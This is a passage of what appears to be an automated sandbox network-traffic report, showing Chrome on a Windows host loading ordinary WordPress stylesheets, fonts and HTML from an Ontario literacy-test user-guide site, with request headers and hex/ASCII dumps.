65 Data Ascii: o/KFOMCnqEu92Fr1ME7kSn66aGLdTylUAMQXC89YmC2DPNWuYjalmbiAz0klQm_20O0g.woff) format('woff');unicode-range:U+0102-0103,U+0110-0111,U+0128-0129,U+0168-0169,U+01A0-01A1,U+01AF-01B0,U+0300-0301,U+0303-0304,U+0308-0309,U+0323,U+0329,U+1EA0-1EF9,U+20AB}@font-face
2025-04-15 14:03:05 UTC	16384	IN	Data Raw: 2c 20 55 2b 31 46 38 42 30 2d 31 46 38 42 42 2c 20 55 2b 31 46 38 43 30 2d 31 46 38 43 31 2c 20 55 2b 31 46 39 30 30 2d 31 46 39 30 42 2c 20 55 2b 31 46 39 33 42 2c 20 55 2b 31 46 39 34 36 2c 20 55 2b 31 46 39 38 34 2c 20 55 2b 31 46 39 39 36 2c 20 55 2b 31 46 39 45 39 2c 20 55 2b 31 46 41 30 30 2d 31 46 41 36 46 2c 20 55 2b 31 46 41 37 30 2d 31 46 41 37 43 2c 20 55 2b 31 46 41 38 30 2d 31 46 41 38 39 2c 20 55 2b 31 46 41 38 46 2d 31 46 41 43 36 2c 20 55 2b 31 46 41 43 45 2d 31 46 41 44 43 2c 20 55 2b 31 46 41 44 46 2d 31 46 41 45 39 2c 20 55 2b 31 46 41 46 30 2d 31 46 41 46 38 2c 20 55 2b 31 46 42 30 30 2d 31 46 42 46 46 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 52 6f 62 6f 74 6f 27 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e Data Ascii: , U+1F8B0-1F8BB, U+1F8C0-1F8C1, U+1F900-1F90B, U+1F93B, U+1F946, U+1F984, U+1F996, U+1F9E9, U+1FA00-1FA6F, U+1FA70-1FA7C, U+1FA80-1FA89, U+1FA8F-1FAC6, U+1FACE-1FADC, U+1FADF-1FAE9, U+1FAF0-1FAF8, U+1FB00-1FBFF}@font-face{font-family:'Roboto';font-style:n
2025-04-15 14:03:05 UTC	16384	IN	Data Raw: 21 2d 2d 20 2e 73 69 74 65 2d 6c 6f 67 6f 20 2d 2d 3e 0a 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 6c 6f 67 6f 22 3e 0a 20 0a 20 20 20 09 09 09 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 71 61 6f 2d 6b 62 2e 6c 73 77 70 2e 76 72 65 74 74 61 2e 63 6f 6d 2f 20 22 20 64 61 74 61 2d 68 74 2d 73 69 74 65 74 69 74 6c 65 3d 22 55 73 65 72 20 47 75 69 64 65 20 66 6f 72 20 74 68 65 20 41 64 6d 69 6e 69 73 74 72 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 4f 6e 74 61 72 69 6f 20 53 65 63 6f 6e 64 61 72 79 20 53 63 68 6f 6f 6c 20 4c 69 74 65 72 61 63 79 20 54 65 73 74 20 28 4f 53 53 4c 54 29 22 3e 0a 20 20 0a 09 09 09 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 64 61 74 61 2d 70 61 67 65 73 70 65 65 64 2d 6e 6f 2d 64 65 66 65 72 3e 2f 2f 3c 21 5b Data Ascii: !-- .site-logo --><div class="site-logo"> <a href="https://eqao-kb.lswp.vretta.com/ " data-ht-sitetitle="User Guide for the Administration of the Ontario Secondary School Literacy Test (OSSLT)"> <script data-pagespeed-no-defer>//<![
2025-04-15 14:03:05 UTC	5782	IN	Data Raw: 6e 73 74 72 75 63 74 69 6f 6e 73 20 66 6f 72 20 6e 65 74 77 6f 72 6b 20 61 6e 64 20 74 65 63 68 6e 69 63 61 6c 20 72 65 61 64 69 6e 65 73 73 2e 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 09 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 09 20 0a 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 0a 09 09 09 09 3c 2f 6c 69 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 6c 69 3e 0a 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 68 6b 62 2d 63 61 74 65 67 6f 72 79 20 20 68 6b 62 2d 63 61 74 65 67 6f 72 79 2d 2d 77 69 74 68 64 65 73 63 20 68 6b 62 2d 63 61 74 65 67 6f 72 79 2d 2d 73 74 79 6c 65 37 20 68 6b 62 2d 63 Data Ascii: nstructions for network and technical readiness.</div></div> </a></div> </li><li><div class="hkb-category hkb-category--withdesc hkb-category--style7 hkb-c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49713	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:05 UTC	651	OUT	GET /wp-includes/css/dist/block-library/style.min.css,qver=6.2.6.pagespeed.ce.R82w6B6jQa.css HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:06 UTC	378	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:05 GMT Server: Apache X-Frame-Options: SAMEORIGIN Accept-Ranges: bytes Last-Modified: Sat, 08 Apr 2023 06:24:35 GMT Expires: Wed, 15 Apr 2026 14:03:05 GMT Cache-Control: max-age=31536000 Etag: W/"0" X-Original-Content-Length: 97517 Content-Length: 97517 Vary: Accept-Encoding Connection: close Content-Type: text/css
2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 72 63 68 69 76 65 73 2d 64 72 6f 70 64 6f 77 6e 20 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 76 61 74 61 72 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 75 64 69 6f 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 61 75 64 69 6f 20 66 69 67 63 61 70 74 69 6f Data Ascii: @charset "UTF-8";.wp-block-archives{box-sizing:border-box}.wp-block-archives-dropdown label{display:block}.wp-block-avatar{box-sizing:border-box}.wp-block-avatar.aligncenter{text-align:center}.wp-block-audio{box-sizing:border-box}.wp-block-audio figcaptio
2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 31 30 30 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 31 30 30 20 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 5f 5f 67 72 61 64 69 65 6e 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2d 69 6d 61 67 65 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 64 69 6d 2d 31 30 30 3a 6e 6f 74 28 2e 68 61 73 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 67 72 61 64 69 65 6e 74 29 3a 62 65 66 6f 72 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 76 65 72 2e 68 61 73 2d 62 Data Ascii: 100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-b
2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 63 28 33 33 2e 33 33 33 33 33 25 20 2d 20 2e 36 36 36 36 37 65 6d 29 7d 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 67 72 69 64 3a 6e 6f 74 28 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 29 2e 63 6f 6c 75 6d 6e 73 2d 34 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 6d 61 67 65 2c 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 67 72 69 64 3a 6e 6f 74 28 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 29 2e 63 6f 6c 75 6d 6e 73 2d 34 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 74 65 6d 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 67 61 6c 6c 65 72 79 3a 6e 6f 74 28 2e 68 61 73 2d 6e 65 73 74 65 64 2d 69 6d 61 67 65 73 29 2e 63 6f 6c 75 6d 6e 73 2d 34 20 2e 62 6c 6f 63 6b 73 2d 67 61 6c 6c 65 72 79 2d 69 6d 61 67 65 2c 2e 77 70 2d Data Ascii: c(33.33333% - .66667em)}.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-image,.blocks-gallery-grid:not(.has-nested-images).columns-4 .blocks-gallery-item,.wp-block-gallery:not(.has-nested-images).columns-4 .blocks-gallery-image,.wp-
2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 6b 2d 6d 65 64 69 61 2d 74 65 78 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 6d 65 64 69 61 2d 74 65 78 74 5f 5f 6d 65 64 69 61 7b 0a 20 20 2f 2a 21 72 74 6c 3a 62 65 67 69 6e 3a 69 67 6e 6f 72 65 2a 2f 67 72 69 64 2d 63 6f 6c 75 6d 6e 3a 31 3b 67 72 69 64 2d 72 6f 77 3a 31 3b 0a 20 20 2f 2a 21 72 74 6c 3a 65 6e 64 3a 69 67 6e 6f 72 65 2a 2f 6d 61 72 67 69 6e 3a 30 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6d 65 64 69 61 2d 74 65 78 74 20 2e 77 70 2d 62 6c 6f 63 6b 2d 6d 65 64 69 61 2d 74 65 78 74 5f 5f 63 6f 6e 74 65 6e 74 7b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 3b 0a 20 20 2f 2a 21 72 74 6c 3a 62 65 67 69 6e 3a 69 67 6e 6f 72 65 2a 2f 67 72 69 64 2d 63 6f 6c 75 6d 6e 3a 32 3b 67 72 69 64 2d 72 6f 77 3a 31 3b 0a 20 20 2f 2a 21 72 74 6c 3a 65 6e 64 3a 69 67 6e 6f 72 65 Data Ascii: k-media-text .wp-block-media-text__media{ /!rtl:begin:ignore/grid-column:1;grid-row:1; /!rtl:end:ignore/margin:0}.wp-block-media-text .wp-block-media-text__content{direction:ltr; /!rtl:begin:ignore/grid-column:2;grid-row:1; /*!rtl:end:ignore
2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 6c 77 61 79 73 2d 73 68 6f 77 6e 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6f 6e 74 61 69 6e 65 72 2d 63 6c 6f 73 65 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 72 69 67 68 74 3a 30 3b 74 6f 70 3a 30 3b 7a 2d 69 6e 64 65 78 3a 32 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6f 6e 74 61 69 6e 65 72 2d 63 6c 6f 73 65 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6f 6e 74 61 69 6e 65 72 2d 63 6c 6f 73 65 2e 77 70 2d 62 6c 6f 63 6b 2d 6e 61 76 69 67 61 74 69 6f 6e 5f 5f 72 65 73 70 6f 6e 73 69 76 65 2d 63 6f 6e 74 61 69 6e 65 Data Ascii: lways-shown){display:none}}.wp-block-navigation__responsive-container-close{position:absolute;right:0;top:0;z-index:2}.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-containe
2025-04-15 14:03:06 UTC	15597	IN	Data Raw: 2d 64 72 6f 70 62 6f 78 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 32 38 30 66 66 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 6c 6f 67 6f 73 2d 6f 6e 6c 79 29 20 2e 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 2d 65 74 73 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 34 35 38 30 30 3b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 73 3a 6e 6f 74 28 2e 69 73 2d 73 74 79 6c 65 2d 6c 6f 67 6f 73 2d 6f 6e 6c 79 29 20 2e 77 70 2d 73 6f 63 69 61 6c 2d 6c 69 6e 6b 2d 66 61 63 65 62 6f 6f 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 31 37 37 38 66 32 3b 63 6f 6c 6f 72 Data Ascii: -dropbox{background-color:#4280ff;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{background-color:#f45800;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{background-color:#1778f2;color

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.16	49710	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:05 UTC	648	OUT	GET /wp-includes/css/dist/components/style.min.css,qver=6.2.6.pagespeed.ce.Ooylure4I4.css HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:06 UTC	378	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:05 GMT Server: Apache X-Frame-Options: SAMEORIGIN Accept-Ranges: bytes Last-Modified: Sat, 08 Apr 2023 06:24:35 GMT Expires: Wed, 15 Apr 2026 14:03:05 GMT Cache-Control: max-age=31536000 Etag: W/"0" X-Original-Content-Length: 83315 Content-Length: 83315 Vary: Accept-Encoding Connection: close Content-Type: text/css
2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 3a 72 6f 6f 74 7b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 3a 23 30 30 37 63 62 61 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 2d 72 67 62 3a 30 2c 31 32 34 2c 31 38 36 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 31 30 3a 23 30 30 36 62 61 31 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 31 30 2d 2d 72 67 62 3a 30 2c 31 30 37 2c 31 36 31 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 32 30 3a 23 30 30 35 61 38 37 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 32 30 2d Data Ascii: @charset "UTF-8";:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20-
2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 32 68 32 76 32 7a 27 20 66 69 6c 6c 3d 27 25 32 33 35 35 35 44 36 35 27 2f 25 33 45 25 33 43 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 27 65 76 65 6e 6f 64 64 27 20 63 6c 69 70 2d 72 75 6c 65 3d 27 65 76 65 6e 6f 64 64 27 20 64 3d 27 4d 31 38 20 31 38 68 32 76 2d 32 68 2d 32 76 2d 32 68 32 76 2d 32 68 2d 32 76 2d 32 68 32 56 38 68 2d 32 76 32 68 2d 32 56 38 68 2d 32 76 32 68 32 76 32 68 2d 32 76 32 68 32 76 32 68 32 76 32 7a 6d 2d 32 2d 34 76 2d 32 68 32 76 32 68 2d 32 7a 27 20 66 69 6c 6c 3d 27 25 32 33 35 35 35 44 36 35 27 2f 25 33 45 25 33 43 70 61 74 68 20 64 3d 27 4d 31 38 20 31 38 76 32 68 2d 32 76 2d 32 68 32 7a 27 20 66 69 6c 6c 3d 27 25 32 33 35 35 35 44 36 35 27 2f 25 33 45 25 33 43 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 27 65 76 65 6e Data Ascii: 2h2v2z' fill='%23555D65'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M18 18h2v-2h-2v-2h2v-2h-2v-2h2V8h-2v2h-2V8h-2v2h2v2h-2v2h2v2h2v2zm-2-4v-2h2v2h-2z' fill='%23555D65'/%3E%3Cpath d='M18 18v2h-2v-2h2z' fill='%23555D65'/%3E%3Cpath fill-rule='even
2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 68 61 64 6f 77 3a 30 20 30 20 30 20 31 70 78 20 76 61 72 28 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 29 3b 6f 75 74 6c 69 6e 65 3a 32 70 78 20 73 6f 6c 69 64 20 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 66 6f 72 6d 2d 74 6f 6b 65 6e 2d 66 69 65 6c 64 5f 5f 69 6e 70 75 74 2d 63 6f 6e 74 61 69 6e 65 72 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 33 30 2c 33 30 2c 33 30 2c 2e 36 32 29 7d 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 66 6f 72 6d 2d 74 6f 6b 65 6e 2d 66 69 65 6c 64 5f 5f 69 6e 70 75 74 2d 63 6f 6e 74 61 69 6e 65 72 3a 3a 2d 6d 6f 7a 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 33 30 2c 33 30 2c 33 30 Data Ascii: hadow:0 0 0 1px var(--wp-admin-theme-color);outline:2px solid transparent}.components-form-token-field__input-container::-webkit-input-placeholder{color:rgba(30,30,30,.62)}.components-form-token-field__input-container::-moz-placeholder{color:rgba(30,30,30
2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 65 72 3a 6e 6f 6e 65 7d 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 70 61 6e 65 6c 5f 5f 62 6f 64 79 2d 74 6f 67 67 6c 65 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 62 75 74 74 6f 6e 7b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 63 6f 6c 6f 72 3a 23 31 65 31 65 31 65 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 35 30 30 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 31 36 70 78 20 34 38 70 78 20 31 36 70 78 20 31 36 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 61 63 6b 67 72 6f 75 6e 64 20 2e 31 73 20 65 61 73 65 2d 69 6e 2d 6f 75 74 3b 77 69 64 74 68 3a 31 30 30 25 7d 40 6d 65 64 Data Ascii: er:none}.components-panel__body-toggle.components-button{border:none;box-shadow:none;color:#1e1e1e;font-weight:500;height:auto;outline:none;padding:16px 48px 16px 16px;position:relative;text-align:left;transition:background .1s ease-in-out;width:100%}@med
2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 21 72 74 6c 3a 65 6e 64 3a 69 67 6e 6f 72 65 2a 2f 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 72 65 73 70 6f 6e 73 69 76 65 2d 77 72 61 70 70 65 72 7b 6d 61 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 72 65 73 70 6f 6e 73 69 76 65 2d 77 72 61 70 70 65 72 2c 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 72 65 73 70 6f 6e 73 69 76 65 2d 77 72 61 70 70 65 72 3e 73 70 61 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 72 65 73 70 6f 6e 73 69 76 65 2d 77 72 61 70 70 65 72 5f 5f 63 6f 6e 74 65 6e 74 7b 62 6f 74 74 6f 6d 3a 30 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f Data Ascii: !rtl:end:ignore*/.components-responsive-wrapper{max-width:100%;position:relative}.components-responsive-wrapper,.components-responsive-wrapper>span{display:block}.components-responsive-wrapper__content{bottom:0;height:100%;left:0;margin:auto;position:abso
2025-04-15 14:03:06 UTC	1395	IN	Data Raw: 2d 67 72 6f 75 70 20 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 62 75 74 74 6f 6e 2e 68 61 73 2d 69 63 6f 6e 2e 68 61 73 2d 69 63 6f 6e 3a 62 65 66 6f 72 65 7b 6c 65 66 74 3a 32 70 78 3b 72 69 67 68 74 3a 32 70 78 7d 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 74 6f 6f 6c 62 61 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 31 65 31 65 31 65 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 66 6c 65 78 2d 73 68 72 69 6e 6b 3a 30 3b 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 3b 6d 61 72 67 69 6e 3a 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 34 38 70 78 7d 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 74 6f 6f 6c 62 61 72 20 2e 63 6f 6d 70 6f 6e 65 6e 74 73 2d 74 6f 6f 6c 62 61 72 2e 63 6f 6d 70 Data Ascii: -group .components-button.has-icon.has-icon:before{left:2px;right:2px}.components-toolbar{background-color:#fff;border:1px solid #1e1e1e;display:inline-flex;flex-shrink:0;flex-wrap:wrap;margin:0;min-height:48px}.components-toolbar .components-toolbar.comp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.16	49712	35.182.53.34	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-15 14:03:05 UTC	650	OUT	GET /wp-includes/css/dist/block-editor/style.min.css,qver=6.2.6.pagespeed.ce.y45o5zF8g8.css HTTP/1.1 Host: eqao-kb-osslt.lswp.vretta.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://eqao-kb-osslt.lswp.vretta.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-15 14:03:06 UTC	380	IN	HTTP/1.1 200 OK Date: Tue, 15 Apr 2025 14:03:05 GMT Server: Apache X-Frame-Options: SAMEORIGIN Accept-Ranges: bytes Last-Modified: Sat, 08 Apr 2023 06:24:35 GMT Expires: Wed, 15 Apr 2026 14:03:05 GMT Cache-Control: max-age=31536000 Etag: W/"0" X-Original-Content-Length: 108997 Content-Length: 108997 Vary: Accept-Encoding Connection: close Content-Type: text/css
2025-04-15 14:03:06 UTC	16384	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 3a 23 30 30 37 63 62 61 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 2d 72 67 62 3a 30 2c 31 32 34 2c 31 38 36 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 31 30 3a 23 30 30 36 62 61 31 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 31 30 2d 2d 72 67 62 3a 30 2c 31 30 37 2c 31 36 31 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 32 30 3a 23 30 30 35 61 38 37 3b 2d 2d 77 70 2d 61 64 6d 69 6e 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 2d 64 61 72 6b 65 72 2d 32 30 2d 2d 72 67 62 3a 30 2c 39 30 2c 31 33 35 3b 2d 2d 77 Data Ascii: :root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--w
